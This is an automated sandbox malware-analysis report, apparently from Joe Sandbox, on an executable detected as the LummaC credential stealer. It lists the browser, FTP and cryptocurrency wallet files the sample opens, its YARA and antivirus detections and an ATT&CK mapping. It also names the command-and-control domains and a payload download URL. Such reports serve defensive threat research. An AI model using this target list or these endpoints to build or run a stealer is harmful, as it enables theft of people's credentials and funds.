Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1822756808.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1822268061.00000000007DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RDb082EApV.exe PID: 6360, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: RDb082EApV.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Process Injection	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
RDb082EApV.exe	72%	Virustotal		Browse
RDb082EApV.exe	66%	ReversingLabs	Win32.Infostealer.Tinba
RDb082EApV.exe	100%	Avira	TR/Crypt.TPM.Gen
RDb082EApV.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/a	0%	Avira URL Cloud	safe
https://mindhandru.buzz/)	100%	Avira URL Cloud	malware
http://185.215.113.16/off/def.exeew	0%	Avira URL Cloud	safe
https://mindhandru.buzz/api-	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apindow	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
mindhandru.buzz	104.21.11.101	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_103.6.dr	false		high
https://duckduckgo.com/chrome_newtab	RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/a	RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exeX	RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_103.6.dr	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/)	RDb082EApV.exe, 00000000.00000003.1791566455.0000000005106000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815754054.0000000005108000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1853819783.000000000510C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815450547.0000000005108000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1791207163.0000000005106000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/api-	RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/T	RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	RDb082EApV.exe, 00000000.00000003.1768913834.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1745058301.0000000005161000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1745144905.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1769130872.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1769037062.000000000515A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_103.6.dr	false		high
https://mindhandru.buzz/pi	RDb082EApV.exe, 00000000.00000003.1867837015.0000000000850000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_87.6.dr, chromecache_109.6.dr	false		high
http://185.215.113.16/off/def.exeew	RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/msignite_docs_banner	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_109.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_103.6.dr	false		high
https://mindhandru.buzz:443/api	RDb082EApV.exe, 00000000.00000003.1822146133.0000000000850000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://mindhandru.buzz/apindow	RDb082EApV.exe, 00000000.00000003.1867695955.0000000005119000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_103.6.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_103.6.dr, chromecache_110.6.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	RDb082EApV.exe, 00000000.00000003.1745144905.0000000005135000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://github.com/gewarren	chromecache_103.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	RDb082EApV.exe, 00000000.00000003.1792995632.000000000522B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_87.6.dr, chromecache_109.6.dr	false		high
http://185.215.113.16/h	RDb082EApV.exe, 00000000.00000003.1995917712.000000000083E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_103.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_103.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_103.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://aka.ms/certhelp	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://mindhandru.buzz/	RDb082EApV.exe, 00000000.00000003.1853819783.000000000510C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815450547.0000000005108000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1743824632.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RDb082EApV.exe, 00000000.00000003.1815624523.0000000005121000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1815776193.0000000005122000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_103.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	RDb082EApV.exe, 00000000.00000003.1791814030.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_103.6.dr	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	RDb082EApV.exe, 00000000.00000003.1768913834.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1745058301.0000000005161000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1745144905.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1769130872.000000000515A000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1769037062.000000000515A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_109.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_87.6.dr, chromecache_109.6.dr	false		high
https://www.ecosia.org/newtab/	RDb082EApV.exe, 00000000.00000003.1744614468.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744544293.000000000514C000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1744491294.000000000514E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	RDb082EApV.exe, 00000000.00000003.1792995632.000000000522B000.00000004.00000800.00020000.00000000.sdmp	false		high
